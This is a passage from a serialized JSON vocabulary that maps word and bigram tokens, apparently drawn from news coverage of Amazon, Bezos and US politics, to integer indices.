150752,\n  \"memorandum opinion\": 150753,\n  \"firms starvation\": 150754,\n  \"seeking review\": 150755,\n  \"disaster response\": 150756,\n  \"completing\": 150757,\n  \"duzer corridor\": 150758,\n  \"w1\": 150759,\n  \"gardner senior\": 150760,\n  \"monopoly congress\": 150761,\n  \"indefinitely thanks\": 150762,\n  \"inmates clearing\": 150763,\n  \"harnessing\": 150764,\n  \"immediately business\": 150765,\n  \"economic indicators\": 150766,\n  \"debauchery\": 150767,\n  \"diplomats\": 150768,\n  \"reports members\": 150769,\n  \"represents new\": 150770,\n  \"spreads fake\": 150771,\n  \"buying mood\": 150772,\n  \"overlapping portions\": 150773,\n  \"twitter provocation\": 150774,\n  \"floated pursuing\": 150775,\n  \"succeeds\": 150776,\n  \"earnings beat\": 150777,\n  \"subsections business\": 150778,\n  \"plastic orange\": 150779,\n  \"kristenicoleast\": 150780,\n  \"reportedly lost\": 150781,\n  \"gofundme\": 150782,\n  \"big business\": 150783,\n  \"santorum\": 150784,\n  \"photo dan\": 150785,\n  \"particulars\": 150786,\n  \"amzn prospects\": 150787,\n  \"ongoing tensions\": 150788,\n  \"artist\": 150789,\n  \"realises\": 150790,\n  \"benioff richard\": 150791,\n  \"backs israeli\": 150792,\n  \"repeatedly claiming\": 150793,\n  \"trade following\": 150794,\n  \"tiaa cref\": 150795,\n  \"time facial\": 150796,\n  \"hit man\": 150797,\n  \"hide cnn\": 150798,\n  \"fabled\": 150799,\n  \"liat\": 150800,\n  \"told reporters\": 150801,\n  \"nancy bass\": 150802,\n  \"norfolk\": 150803,\n  \"gallup poll\": 150804,\n  \"notable clients\": 150805,\n  \"longtime consultant\": 150806,\n  \"america political\": 150807,\n  \"protestors rallying\": 150808,\n  \"firms according\": 150809,\n  \"carried forward\": 150810,\n  \"microsoft brief\": 150811,\n  \"dr ben\": 150812,\n  \"policy suggested\": 150813,\n  \"billionaire founder\": 150814,\n  \"crowder\": 150815,\n  \"seed\": 150816,\n  \"trinidad born\": 150817,\n  \"festival red\": 150818,\n  \"yankee\": 150819,\n  \"fun games\": 150820,\n  \"baltimore protesting\": 150821,\n  \"longstanding rift\": 150822,\n  \"inspired better\": 150823,\n  \"wife kelly\": 150824,\n  \"sent 735\": 150825,\n  \"larry nassar\": 150826,\n  \"wasn amused\": 150827,\n  \"journal calls\": 150828,\n  \"culprit relative\": 150829,\n  \"regular protest\": 150830,\n  \"office demonstrate\": 150831,\n  \"businesses according\": 150832,\n  \"news 2016\": 150833,\n  \"worker handles\": 150834,\n  \"vital\": 150835,\n  \"diaper\": 150836,\n  \"reputations\": 150837,\n  \"sharma sent\": 150838,\n  \"later reported\": 150839,\n  \"turd burglar\": 150840,\n  \"checks trump\": 150841,\n  \"effort think\": 150842,\n  \"allegedly ended\": 150843,\n  \"dominance president\": 150844,\n  \"amazon expands\": 150845,\n  \"country actually\": 150846,\n  \"abroad republicans\": 150847,\n  \"admiration\": 150848,\n  \"source winner\": 150849,\n  \"view embedded\": 150850,\n  \"united kingdom\": 150851,\n  \"usc\": 150852,\n  \"valley tycoons\": 150853,\n  \"operation tells\": 150854,\n  \"pressure postmaster\": 150855,\n  \"year mean\": 150856,\n  \"subprime\": 150857,\n  \"billion dollars\": 150858,\n  \"harmony does\": 150859,\n  \"actuals beat\": 150860,\n  \"win similar\": 150861,\n  \"aws global\": 150862,\n  \"carson\": 150863,\n  \"tenn\": 150864,\n  \"indicating\": 150865,\n  \"conspired\": 150866,\n  \"alle slimme\": 150867,\n  \"nokia london\": 150868,\n  \"years trump\": 150869,\n  \"annual incomes\": 150870,\n  \"storage needs\": 150871,\n  \"plenty\": 150872,\n  \"corporatism sensible\": 150873,\n  \"intelligence recording\": 150874,\n  \"pursue walmart\": 150875,\n  \"small donations\": 150876,\n  \"shalimar florida\": 150877,\n  \"game educators\": 150878,\n  \"sales mark\": 150879,\n  \"unusual things\": 150880,\n  \"progressive citizens\": 150881,\n  \"widows\": 150882,\n  \"housing local\": 150883,\n  \"located closest\": 150884,\n  \"2019 old\": 150885,\n  \"government outlawing\": 150886,\n  \"finalization\": 150887,\n  \"thanks lot\": 150888,\n  \"occurred fbi\": 150889,\n  \"agenda anti\": 150890,\n  \"contract immediately\": 150891,\n  \"ubhi transmogrified\": 150892,\n  \"trillion followed\": 150893,\n  \"ferry point\": 150894,\n  \"prince ami\": 150895,\n  \"normally 230\": 150896,\n  \"ap attorney\": 150897,\n  \"warroom\": 150898,\n  \"carrier obligations\": 150899,\n  \"j1\": 150900,\n  \"categories including\": 150901,\n  \"screens\": 150902,\n  \"converting\": 150903,\n  \"new starts\": 150904,\n  \"amid buyouts\": 150905,\n  \"ranking members\": 150906,\n  \"growth customer\": 150907,\n  \"fleet\": 150908,\n  \"pose actual\": 150909,\n  \"hostile home\": 150910,\n  \"director american\": 150911,\n  \"grow strongly\": 150912,\n  \"diego pr\": 150913,\n  \"faces low\": 150914,\n  \"rub\": 150915,\n  \"nutter\": 150916,\n  \"laptop bag\": 150917,\n  \"plott\": 150918,\n  \"aerospace marketplace\": 150919,\n  \"steve king\": 150920,\n  \"teacher job\": 150921,\n  \"5x\": 150922,\n  \"paper upward\": 150923,\n  \"senator harris\": 150924,\n  \"smart hacks\": 150925,\n  \"bipartisan sanders\": 150926,\n  \"streaming business\": 150927,\n  \"provise mngmt\": 150928,\n  \"moulton massachusetts\": 150929,\n  \"addressed google\": 150930,\n  \"cookies\": 150931,\n  \"nasty voicemails\": 150932,\n  \"headquarters reports\": 150933,\n  \"cafe society\": 150934,\n  \"2020 155\": 150935,\n  \"spdr\": 150936,\n  \"foto permas\": 150937,\n  \"blackman\": 150938,\n  \"market strength\": 150939,\n  \"owned national\": 150940,\n  \"nonprofits argue\": 150941,\n  \"marketplace pressure\": 150942,\n  \"amazon rants\": 150943,\n  \"unfocused way\": 150944,\n  \"welcomes saudi\": 150945,\n  \"urge readers\": 150946,\n  \"shares homrich\": 150947,\n  \"value assistance\": 150948,\n  \"notion\": 150949,\n  \"alarming story\": 150950,\n  \"background conversation\": 150951,\n  \"previously targeted\": 150952,\n  \"disorder\": 150953,\n  \"parents according\": 150954,\n  \"kkk\": 150955,\n  \"year turnouts\": 150956,\n  \"amazon sponsor\": 150957,\n  \"coming revision\": 150958,\n  \"europe shares\": 150959,\n  \"rogue mobile\": 150960,\n  \"attend oscars\": 150961,\n  \"sure president\": 150962,\n  \"beginning telling\": 150963,\n  \"investigate rumoured\": 150964,\n  \"shape shifting\": 150965,\n  \"health profession\": 150966,\n  \"company sell\": 150967,\n  \"op eds\": 150968,\n  \"2017 summit\": 150969,\n  \"general battle\": 150970,\n  \"practices brad\": 150971,\n  \"singh\": 150972,\n  \"cuts backed\": 150973,\n  \"keely herring\": 150974,\n  \"generated emails\": 150975,\n  \"mistakenly referred\": 150976,\n  \"new indictments\": 150977,\n  \"search algorithm\": 150978,\n  \"corsi killing\": 150979,\n  \"mobil\": 150980,\n  \"remit\": 150981,\n  \"trustee marsha\": 150982,\n  \"fundamental strength\": 150983,\n  \"bernie sander\": 150984,\n  \"revoke broadcast\": 150985,\n  \"nhl\": 150986,\n  \"voter recount\": 150987,\n  \"income neighborhoods\": 150988,\n  \"mate\": 150989,\n  \"contractors\": 150990,\n  \"eu antitrust\": 150991,\n  \"ice certainly\": 150992,\n  \"network providing\": 150993,\n  \"liberal website\": 150994,\n  \"30th amazon\": 150995,\n  \"special investing\": 150996,\n  \"landscape smaller\": 150997,\n  \"negative\": 150998,\n  \"bezos focus\": 150999,\n  \"president criticism\": 151000,\n  \"deconstruct\": 151001,\n  \"weather related\": 151002,\n  \"outside vendor\": 151003,\n  \"archaic\": 151004,\n  \"2018 pardon\": 151005,\n  \"party business\": 151006,\n  \"research recently\": 151007,\n  \"situation ironic\": 151008,\n  \"favorite hot\": 151009,\n  \"occasionally contentious\": 151010,\n  \"sanchez trump\": 151011,\n  \"author laura\": 151012,\n  \"extra idealogical\": 151013,\n  \"core constituents\": 151014,\n  \"ironically trump\": 151015,\n  \"journal separately\": 151016,\n  \"grant books\": 151017,\n  \"netflix feverish\": 151018,\n  \"certainly hurt\": 151019,\n  \"largest issue\": 151020,\n  \"braindead\": 151021,\n  \"dictators embracing\": 151022,\n  \"support matt\": 151023,\n  \"think really\": 151024,\n  \"broadly viewed\": 151025,\n  \"dispatches pigeons\": 151026,\n  \"inch ips\": 151027,\n  \"netflix comedy\": 151028,\n  \"1014_76a772458fdb8087939d21aa53b90eed\": 151029,\n  \"story local\": 151030,\n  \"house adviser\": 151031,\n  \"brides\": 151032,\n  \"surveillance warrant\": 151033,\n  \"nonviolent alternative\": 151034,\n  \"2017 called\": 151035,\n  \"jenni konner\": 151036,\n  \"complaint journalists\": 151037,\n  \"growth reaches\": 151038,\n  \"ep alexandria\": 151039,\n  \"repeatedly targeted\": 151040,\n  \"robs peter\": 151041,\n  \"megalith\": 151042,\n  \"offer prospective\": 151043,\n  \"granny\\u0430janice\": 151044,\n  \"sophisticated weapons\": 151045,\n  \"outing mike\": 151046,\n  \"offers consumers\": 151047,\n  \"sonia sotomayor\": 151048,\n  \"early votes\": 151049,\n  \"levels seemingly\": 151050,\n  \"celebratory\": 151051,\n  \"today bradcast\": 151052,\n  \"issues danhof\": 151053,\n  \"bezos neighbor\": 151054,\n  \"raising privacy\": 151055,\n  \"washington watch\": 151056,\n  \"week oracle\": 151057,\n  \"cia funded\": 151058,\n  \"youtube natural\": 151059,\n  \"nationalism\": 151060,\n  \"favorite targets\": 151061,\n  \"2015 despite\": 151062,\n  \"usps strengthen\": 151063,\n  \"mnuchin interlocutor\": 151064,\n  \"helicopter pad\": 151065,\n  \"bed students\": 151066,\n  \"follows story\": 151067,\n  \"authorities believe\": 151068,\n  \"looked taken\": 151069,\n  \"sector etf\": 151070,\n  \"nonetheless paypal\": 151071,\n  \"4th annual\": 151072,\n  \"schuster audio\": 151073,\n  \"partners program\": 151074,\n  \"version 1703\": 151075,\n  \"red bikini\": 151076,\n  \"quarter operating\": 151077,\n  \"services exempting\": 151078,\n  \"globalization tactics\": 151079,\n  \"game development\": 151080,\n  \"absolutely unnecessary\": 151081,\n  \"wasn\": 151082,\n  \"remain president\": 151083,\n  \"spent just\": 151084,\n  \"climate\": 151085,\n  \"pacs\": 151086,\n  \"turn bearish\": 151087,\n  \"shares soared\": 151088,\n  \"working autos\": 151089,\n  \"area factor\": 151090,\n  \"sensationalist\": 151091,\n  \"high chair\": 151092,\n  \"unsuccessful candidate\": 151093,\n  \"mahoning\": 151094,\n  \"8b\": 151095,\n  \"form shows\": 151096,\n  \"jbauer heraldnet\": 151097,\n  \"reaching bizarre\": 151098,\n  \"course declined\": 151099,\n  \"unfair work\": 151100,\n  \"gang rapes\": 151101,\n  \"day free\": 151102,\n  \"used small\": 151103,\n  \"portrait artist\": 151104,\n  \"reporter lachlan\": 151105,\n  \"customers sign\": 151106,\n  \"jamey keaten\": 151107,\n  \"1980s aids\": 151108,\n  \"legislative decision\": 151109,\n  \"hurd exactly\": 151110,\n  \"afp vuukle\": 151111,\n  \"north mackenzie\": 151112,\n  \"sales results\": 151113,\n  \"private shippers\": 151114,\n  \"quickly hit\": 151115,\n  \"fi wireless\": 151116,\n  \"populist fervor\": 151117,\n  \"need comfortable\": 151118,\n  \"128 million\": 151119,\n  \"phase detailed\": 151120,\n  \"life refuses\": 151121,\n  \"guralnick\": 151122,\n  \"afternoon new\": 151123,\n  \"42496460\": 151124,\n  \"rep seth\": 151125,\n  \"indian awaaz\": 151126,\n  \"local 2019\": 151127,\n  \"gabriel sherman\": 151128,\n  \"revisions\": 151129,\n  \"considering axing\": 151130,\n  \"doesn officially\": 151131,\n  \"blown media\": 151132,\n  \"alarming pace\": 151133,\n  \"orange color\": 151134,\n  \"american bar\": 151135,\n  \"showed texts\": 151136,\n  \"namath speaks\": 151137,\n  \"jane seymour\": 151138,\n  \"used racist\": 151139,\n  \"hire fewer\": 151140,\n  \"entered bear\": 151141,\n  \"addressing ncosh\": 151142,\n  \"commentators\": 151143,\n  \"owned building\": 151144,\n  \"don split\": 151145,\n  \"pena\": 151146,\n  \"knighted\": 151147,\n  \"entity\": 151148,\n  \"left campaign\": 151149,\n  \"incoming gary\": 151150,\n  \"party pelosi\": 151151,\n  \"york provides\": 151152,\n  \"race sexual\": 151153,\n  \"ice recognizing\": 151154,\n  \"trump dubs\": 151155,\n  \"seeking jobless\": 151156,\n  \"dangerous lengths\": 151157,\n  \"complicate matters\": 151158,\n  \"major moment\": 151159,\n  \"points global\": 151160,\n  \"wild shopping\": 151161,\n  \"maley warns\": 151162,\n  \"ryan barkley\": 151163,\n  \"personal fortune\": 151164,\n  \"talks stock\": 151165,\n  \"barrel oil\": 151166,\n  \"including billion\": 151167,\n  \"2015 race\": 151168,\n  \"freer\": 151169,\n  \"surprising way\": 151170,\n  \"administration feel\": 151171,\n  \"labor violations\": 151172,\n  \"phoenix bret\": 151173,\n  \"shipped\": 151174,\n  \"legislation introduced\": 151175,\n  \"lanxon bloomberg\": 151176,\n  \"fundamental shift\": 151177,\n  \"growth mean\": 151178,\n  \"force dod\": 151179,\n  \"rarified position\": 151180,\n  \"near santa\": 151181,\n  \"lobbyist\": 151182,\n  \"choke legal\": 151183,\n  \"heavy nasdaq\": 151184,\n  \"delivers packages\": 151185,\n  \"public men\": 151186,\n  \"pure subscription\": 151187,\n  \"accountable chunks\": 151188,\n  \"times power\": 151189,\n  \"send birthday\": 151190,\n  \"wage standards\": 151191,\n  \"susan lacy\": 151192,\n  \"david fickling\": 151193,\n  \"concludes analyst\": 151194,\n  \"wife mackenzie\": 151195,\n  \"1p sellers\": 151196,\n  \"scrapping\": 151197,\n  \"certain requirements\": 151198,\n  \"affluent coastal\": 151199,\n  \"recent weeks\": 151200,\n  \"information chairman\": 151201,\n  \"cemented\": 151202,\n  \"divorced\": 151203,\n  \"recent revelation\": 151204,\n  \"holds live\": 151205,\n  \"create inventions\": 151206,\n  \"reach new\": 151207,\n  \"antitrust trend\": 151208,\n  \"suites\": 151209,\n  \"prone\": 151210,\n  \"director chris\": 151211,\n  \"straight years\": 151212,\n  \"states donald\": 151213,\n  \"businesses potentially\": 151214,\n  \"respectively special\": 151215,\n  \"donnald\": 151216,\n  \"observers think\": 151217,\n  \"company widely\": 151218,\n  \"wing facing\": 151219,\n  \"steadily building\": 151220,\n  \"quicker\": 151221,\n  \"television channels\": 151222,\n  \"spot health\": 151223,\n  \"larry haverty\": 151224,\n  \"channel retailers\": 151225,\n  \"original introductions\": 151226,\n  \"upmarket chain\": 151227,\n  \"inssurance quotes\": 151228,\n  \"cbmimwh0dhbzoi8vd3d3lmjiyy5jb20vbmv3cy93b3jszc11cy1jyw5hzgetndu5njg2mdbsaxlodhrwczovl3d3dy1iymmty29tlmnkbi5hbxbwcm9qzwn0lm9yzy92l3mvd3d3lmjiyy5jb20vbmv3cy9hbxavd29ybgqtdxmty2fuywrhltq1oty4nja2p2ftcf9qc192ptaumsn3zwj2awv3ptemy2fwpxn3axbl hl\": 151229,\n  \"j0 j0\": 151230,\n  \"autistic children\": 151231,\n  \"denied quotes\": 151232,\n  \"golding lord\": 151233,\n  \"pose risk\": 151234,\n  \"abundant attention\": 151235,\n  \"magazine caijing\": 151236,\n  \"singing fleetwood\": 151237,\n  \"ferrechio capri\": 151238,\n  \"men journal\": 151239,\n  \"cnbc calculation\": 151240,\n  \"arkansas banned\": 151241,\n  \"mena\": 151242,\n  \"embraces cara\": 151243,\n  \"irritate\": 151244,\n  \"townsend\": 151245,\n  \"include things\": 151246,\n  \"sorely needed\": 151247,\n  \"party returns\": 151248,\n  \"struggled disappointing\": 151249,\n  \"restrained brazil\": 151250,\n  \"assembly unea\": 151251,\n  \"considered bellwether\": 151252,\n  \"obsessive compulsively\": 151253,\n  \"new legal\": 151254,\n  \"pass message\": 151255,\n  \"years pentagon\": 151256,\n  \"shower read\": 151257,\n  \"think caution\": 151258,\n  \"big impressions\": 151259,\n  \"military microsoft\": 151260,\n  \"fahrenthold federal\": 151261,\n  \"sure thing\": 151262,\n  \"university researchers\": 151263,\n  \"elections chaos\": 151264,\n  \"warehouse injuries\": 151265,\n  \"product suppose\": 151266,\n  \"tap include\": 151267,\n  \"entertainment amazon\": 151268,\n  \"festival death\": 151269,\n  \"oils trying\": 151270,\n  \"porn charges\": 151271,\n  \"detained\": 151272,\n  \"weekly story\": 151273,\n  \"investors china\": 151274,\n  \"previous inquisitr\": 151275,\n  \"wine youtube\": 151276,\n  \"132\": 151277,\n  \"signature phrases\": 151278,\n  \"entrepreneurs customer\": 151279,\n  \"publishing illicit\": 151280,\n  \"currently strewn\": 151281,\n  \"company energy\": 151282,\n  \"finished\": 151283,\n  \"economy simply\": 151284,\n  \"government exists\": 151285,\n  \"offering vegan\": 151286,\n  \"stock briefly\": 151287,\n  \"robust platforms\": 151288,\n  \"interviewwith\": 151289,\n  \"radioactive project\": 151290,\n  \"offices chose\": 151291,\n  \"alexis madrigal\": 151292,\n  \"tech\": 151293,\n  \"outperformed apple\": 151294,\n  \"suderman shared\": 151295,\n  \"diapers undercutting\": 151296,\n  \"bear nupro\": 151297,\n  \"research geekwire\": 151298,\n  \"americans conservative\": 151299,\n  \"officer brian\": 151300,\n  \"enterprise customer\": 151301,\n  \"depriving americans\": 151302,\n  \"jan trump\": 151303,\n  \"security mechanism\": 151304,\n  \"unequipped\": 151305,\n  \"limited decentralized\": 151306,\n  \"opposition\": 151307,\n  \"track meaning\": 151308,\n  \"parents dodged\": 151309,\n  \"bugs\": 151310,\n  \"senator quickly\": 151311,\n  \"compressed\": 151312,\n  \"lose amazon\": 151313,\n  \"predecessor preet\": 151314,\n  \"indignant\": 151315,\n  \"lady potentially\": 151316,\n  \"new harrowing\": 151317,\n  \"ink cloud\": 151318,\n  \"sent 630\": 151319,\n  \"workers dependent\": 151320,\n  \"year worth\": 151321,\n  \"cordray\": 151322,\n  \"mnuchin counselors\": 151323,\n  \"deadly opioid\": 151324,\n  \"condition\": 151325,\n  \"stamps comment\": 151326,\n  \"proven nationwide\": 151327,\n  \"companies matter\": 151328,\n  \"upstate voters\": 151329,\n  \"callender\": 151330,\n  \"giugliano\": 151331,\n  \"structure meant\": 151332,\n  \"add retail\": 151333,\n  \"tariffs work\": 151334,\n  \"euro problems\": 151335,\n  \"alibaba ant\": 151336,\n  \"caller infowars\": 151337,\n  \"procurement official\": 151338,\n  \"minds want\": 151339,\n  \"big revenue\": 151340,\n  \"mhk\": 151341,\n  \"promote discounts\": 151342,\n  \"defending state\": 151343,\n  \"201 shares\": 151344,\n  \"ago danielle\": 151345,\n  \"soaking\": 151346,\n  \"sanders sensanders\": 151347,\n  \"amazon primary\": 151348,\n  \"frenzied catch\": 151349,\n  \"kenosha counties\": 151350,\n  \"large semiconductor\": 151351,\n  \"credibility icymi\": 151352,\n  \"cats instagram\": 151353,\n  \"airborne deliveries\": 151354,\n  \"hour costco\": 151355,\n  \"silencing millions\": 151356,\n  \"day times\": 151357,\n  \"starry\": 151358,\n  \"shares stage\": 151359,\n  \"workloads aws\": 151360,\n  \"teachers students\": 151361,\n  \"lost boy\": 151362,\n  \"4024\": 151363,\n  \"agency recent\": 151364,\n  \"grade counterparts\": 151365,\n  \"bulldozed competition\": 151366,\n  \"strikes tone\": 151367,\n  \"fcc spokesman\": 151368,\n  \"month underscoring\": 151369,\n  \"count\": 151370,\n  \"lipton archive\": 151371,\n  \"billion acquisition\": 151372,\n  \"mammoth undertaking\": 151373,\n  \"won succeed\": 151374,\n  \"selling caitlyn\": 151375,\n  \"arthur elkins\": 151376,\n  \"kind\": 151377,\n  \"maker overreliance\": 151378,\n  \"911\": 151379,\n  \"life 2017\": 151380,\n  \"hanlon nyt\": 151381,\n  \"direct sales\": 151382,\n  \"theatrical flourish\": 151383,\n  \"minimal tax\": 151384,\n  \"key legislator\": 151385,\n  \"share growth\": 151386,\n  \"confusing suspensions\": 151387,\n  \"listen shares\": 151388,\n  \"clothing brand\": 151389,\n  \"particular goal\": 151390,\n  \"believe exist\": 151391,\n  \"access specialized\": 151392,\n  \"acclaims\": 151393,\n  \"torday st\": 151394,\n  \"month reported\": 151395,\n  \"lure amazon\": 151396,\n  \"air hub\": 151397,\n  \"credit cheerful\": 151398,\n  \"meal prep\": 151399,\n  \"takes somewhat\": 151400,\n  \"shaving dopp\": 151401,\n  \"sex cult\": 151402,\n  \"initial watergate\": 151403,\n  \"carberry cfo\": 151404,\n  \"case won\": 151405,\n  \"newsom trump\": 151406,\n  \"gentrified\": 151407,\n  \"rumblings\": 151408,\n  \"editorial saying\": 151409,\n  \"crowd national\": 151410,\n  \"produce films\": 151411,\n  \"deeply uncertain\": 151412,\n  \"servant played\": 151413,\n  \"paperback versions\": 151414,\n  \"showdown need\": 151415,\n  \"marked historic\": 151416,\n  \"think people\": 151417,\n  \"dad did\": 151418,\n  \"frat\": 151419,\n  \"armored limousine\": 151420,\n  \"decades investors\": 151421,\n  \"humanitarian group\": 151422,\n  \"moratorium trump\": 151423,\n  \"times notes\": 151424,\n  \"ideological lines\": 151425,\n  \"investigating employees\": 151426,\n  \"mutate\": 151427,\n  \"make 2020\": 151428,\n  \"similar material\": 151429,\n  \"2018 fedex\": 151430,\n  \"thriving ecosystem\": 151431,\n  \"clare\": 151432,\n  \"stohr contributed\": 151433,\n  \"begin accepting\": 151434,\n  \"scales\": 151435,\n  \"amazon wasn\": 151436,\n  \"trump nominee\": 151437,\n  \"falling biodiversity\": 151438,\n  \"newsletter sign\": 151439,\n  \"satanism beginner\": 151440,\n  \"gained market\": 151441,\n  \"sanctions wisconsin\": 151442,\n  \"airbnb small\": 151443,\n  \"issued tweeting\": 151444,\n  \"2019 gains\": 151445,\n  \"second guessing\": 151446,\n  \"max contributed\": 151447,\n  \"congress willvote\": 151448,\n  \"firm foxconn\": 151449,\n  \"jobs sam\": 151450,\n  \"profile way\": 151451,\n  \"lawsuit alleging\": 151452,\n  \"suspicious video\": 151453,\n  \"investors amazon\": 151454,\n  \"emails fine\": 151455,\n  \"eric phillips\": 151456,\n  \"emperor chronicle\": 151457,\n  \"late 2016\": 151458,\n  \"right feeney\": 151459,\n  \"enquirer connection\": 151460,\n  \"produced independently\": 151461,\n  \"unchecked\": 151462,\n  \"maze\": 151463,\n  \"renovation\": 151464,\n  \"complexifier\": 151465,\n  \"monitor historic\": 151466,\n  \"disdainful relationship\": 151467,\n  \"kqed\": 151468,\n  \"testimony cdc\": 151469,\n  \"live motogp\": 151470,\n  \"hot button\": 151471,\n  \"batting average\": 151472,\n  \"afp email\": 151473,\n  \"salmon\": 151474,\n  \"answer session\": 151475,\n  \"closing value\": 151476,\n  \"potential madison\": 151477,\n  \"monitor giving\": 151478,\n  \"stormy week\": 151479,\n  \"agent declined\": 151480,\n  \"conversations regarding\": 151481,\n  \"instead traders\": 151482,\n  \"provide updates\": 151483,\n  \"stock quickly\": 151484,\n  \"twitter claiming\": 151485,\n  \"microsoft facebook\": 151486,\n  \"luckin starbucks\": 151487,\n  \"paparazzo microscope\": 151488,\n  \"haven looked\": 151489,\n  \"allows consumers\": 151490,\n  \"tsorf33 jesus\": 151491,\n  \"samuelsson\": 151492,\n  \"etsy plus\": 151493,\n  \"sheffield founder\": 151494,\n  \"mark gilbert\": 151495,\n  \"lookout\": 151496,\n  \"mckinsey company\": 151497,\n  \"violence prevention\": 151498,\n  \"senator mccain\": 151499,\n  \"story half\": 151500,\n  \"llc holds\": 151501,\n  \"getty contributor\": 151502,\n  \"services globaldata\": 151503,\n  \"cnl_global_nav_background_gradient_end\": 151504,\n  \"payne constellations\": 151505,\n  \"good footing\": 151506,\n  \"uncouth\": 151507,\n  \"christian baker\": 151508,\n  \"engagement greer\": 151509,\n  \"martin wolf\": 151510,\n  \"rep lynn\": 151511,\n  \"giant won\": 151512,\n  \"amy klobuchar\": 151513,\n  \"trump board\": 151514,\n  \"ask federal\": 151515,\n  \"extraordinary cinematic\": 151516,\n  \"weekend\": 151517,\n  \"buying diffuses\": 151518,\n  \"remark lot\": 151519,\n  \"class residents\": 151520,\n  \"added tasks\": 151521,\n  \"trump university\": 151522,\n  \"richardson rents\": 151523,\n  \"county committee\": 151524,\n  \"book comey\": 151525,\n  \"life pic\": 151526,\n  \"investors certainly\": 151527,\n  \"runner andres\": 151528,\n  \"private embarrassment\": 151529,\n  \"policy facebook\": 151530,\n  \"news marks\": 151531,\n  \"told employers\": 151532,\n  \"services segments\": 151533,\n  \"citrix\": 151534,\n  \"later nbc\": 151535,\n  \"higher speed\": 151536,\n  \"uk european\": 151537,\n  \"2043\": 151538,\n  \"dampened\": 151539,\n  \"veritable poster\": 151540,\n  \"companies feel\": 151541,\n  \"companies\": 151542,\n  \"chugging\": 151543,\n  \"powers films\": 151544,\n  \"spicy comment\": 151545,\n  \"utter chaos\": 151546,\n  \"chains responding\": 151547,\n  \"menendez mike\": 151548,\n  \"fury simon\": 151549,\n  \"plan structural\": 151550,\n  \"recent highs\": 151551,\n  \"venezuela ap\": 151552,\n  \"inquiry apple\": 151553,\n  \"preventable pr\": 151554,\n  \"created equally\": 151555,\n  \"opening bell\": 151556,\n  \"meaningfully\": 151557,\n  \"obvious maybe\": 151558,\n  \"paying woman\": 151559,\n  \"deputy managing\": 151560,\n  \"technology hands\": 151561,\n  \"roti\": 151562,\n  \"corporate offices\": 151563,\n  \"salles brazil\": 151564,\n  \"enquirer philidelphia\": 151565,\n  \"makes 275\": 151566,\n  \"t5\": 151567,\n  \"don anybody\": 151568,\n  \"spy drama\": 151569,\n  \"did lately\": 151570,\n  \"disclosure framework\": 151571,\n  \"interview aired\": 151572,\n  \"gala ia\": 151573,\n  \"pacific tokyo\": 151574,\n  \"jobs noting\": 151575,\n  \"office don\": 151576,\n  \"new items\": 151577,\n  \"pen america\": 151578,\n  \"agile industrial\": 151579,\n  \"focus remains\": 151580,\n  \"amazon pair\": 151581,\n  \"gear haverford\": 151582,\n  \"weddings 2017\": 151583,\n  \"laundering scandals\": 151584,\n  \"kushner\": 151585,\n  \"answers cummings\": 151586,\n  \"worse things\": 151587,\n  \"philosopher\": 151588,\n  \"dangerous appearing\": 151589,\n  \"routing number\": 151590,\n  \"planned summit\": 151591,\n  \"greater insult\": 151592,\n  \"browbeating\": 151593,\n  \"qtrly advertising\": 151594,\n  \"flipkart amazon\": 151595,\n  \"colocation\": 151596,\n  \"passionately hates\": 151597,\n  \"chemotherapy\": 151598,\n  \"exclusively negotiated\": 151599,\n  \"ethical\": 151600,\n  \"inspired preschools\": 151601,\n  \"card game\": 151602,\n  \"enquirer bureau\": 151603,\n  \"east texas\": 151604,\n  \"entitled report\": 151605,\n  \"molested thousands\": 151606,\n  \"numerous outlets\": 151607,\n  \"accenture plc\": 151608,\n  \"929 new\": 151609,\n  \"obama view\": 151610,\n  \"amazon pull\": 151611,\n  \"bring factories\": 151612,\n  \"deals follow\": 151613,\n  \"open casino\": 151614,\n  \"michael jordan\": 151615,\n  \"lily white\": 151616,\n  \"178 billion\": 151617,\n  \"federal cronyism\": 151618,\n  \"memorandum\": 151619,\n  \"sticky\": 151620,\n  \"higher profile\": 151621,\n  \"offer ends\": 151622,\n  \"post ends\": 151623,\n  \"jassy downplayed\": 151624,\n  \"time given\": 151625,\n  \"cms\": 151626,\n  \"meals\": 151627,\n  \"frightening green\": 151628,\n  \"hands donald\": 151629,\n  \"robin wright\": 151630,\n  \"assistant director\": 151631,\n  \"hiatus amazon\": 151632,\n  \"prices decline\": 151633,\n  \"york residents\": 151634,\n  \"technology demand\": 151635,\n  \"blankenhorn\": 151636,\n  \"indictment assange\": 151637,\n  \"meets tragic\": 151638,\n  \"cybersecurity overall\": 151639,\n  \"outrageous characters\": 151640,\n  \"buttered\": 151641,\n  \"jesus demand\": 151642,\n  \"launched registry\": 151643,\n  \"table wrote\": 151644,\n  \"undergraduate\": 151645,\n  \"500 jobs\": 151646,\n  \"america answer\": 151647,\n  \"business donald\": 151648,\n  \"including claiming\": 151649,\n  \"dodging various\": 151650,\n  \"expect short\": 151651,\n  \"8990\": 151652,\n  \"drew rebukes\": 151653,\n  \"ideas\": 151654,\n  \"boast national\": 151655,\n  \"cdc_5ce292595c0ee1373097e27d_embed html\": 151656,\n  \"privileged tax\": 151657,\n  \"erdogan\": 151658,\n  \"amazon wasyou\": 151659,\n  \"amazon promotes\": 151660,\n  \"slides showing\": 151661,\n  \"destroyed analysts\": 151662,\n  \"include room\": 151663,\n  \"truly rigged\": 151664,\n  \"unspeakably ancient\": 151665,\n  \"thrones hotstar\": 151666,\n  \"season coming\": 151667,\n  \"company pushes\": 151668,\n  \"cross origin\": 151669,\n  \"unflattering article\": 151670,\n  \"union speech\": 151671,\n  \"particularly decently\": 151672,\n  \"sure looks\": 151673,\n  \"law hastily\": 151674,\n  \"lead leadership\": 151675,\n  \"halls held\": 151676,\n  \"development planned\": 151677,\n  \"immediately axios\": 151678,\n  \"biggest publicity\": 151679,\n  \"chuck todd\": 151680,\n  \"offering subscription\": 151681,\n  \"new marketing\": 151682,\n  \"women needn\": 151683,\n  \"phillip cristinaalesci\": 151684,\n  \"happy timeshare\": 151685,\n  \"intellectual\": 151686,\n  \"author ronald\": 151687,\n  \"forbid\": 151688,\n  \"pram time\": 151689,\n  \"shouraboura\": 151690,\n  \"injecting investment\": 151691,\n  \"previous crises\": 151692,\n  \"committee reuters\": 151693,\n  \"accelerating delivery\": 151694,\n  \"week price\": 151695,\n  \"patenting\": 151696,\n  \"active user\": 151697,\n  \"school schools\": 151698,\n  \"amazon julia\": 151699,\n  \"hispanic trump\": 151700,\n  \"sources meeting\": 151701,\n  \"conservatives particularly\": 151702,\n  \"raised son\": 151703,\n  \"pentagon underscore\": 151704,\n  \"kathleen ronayne\": 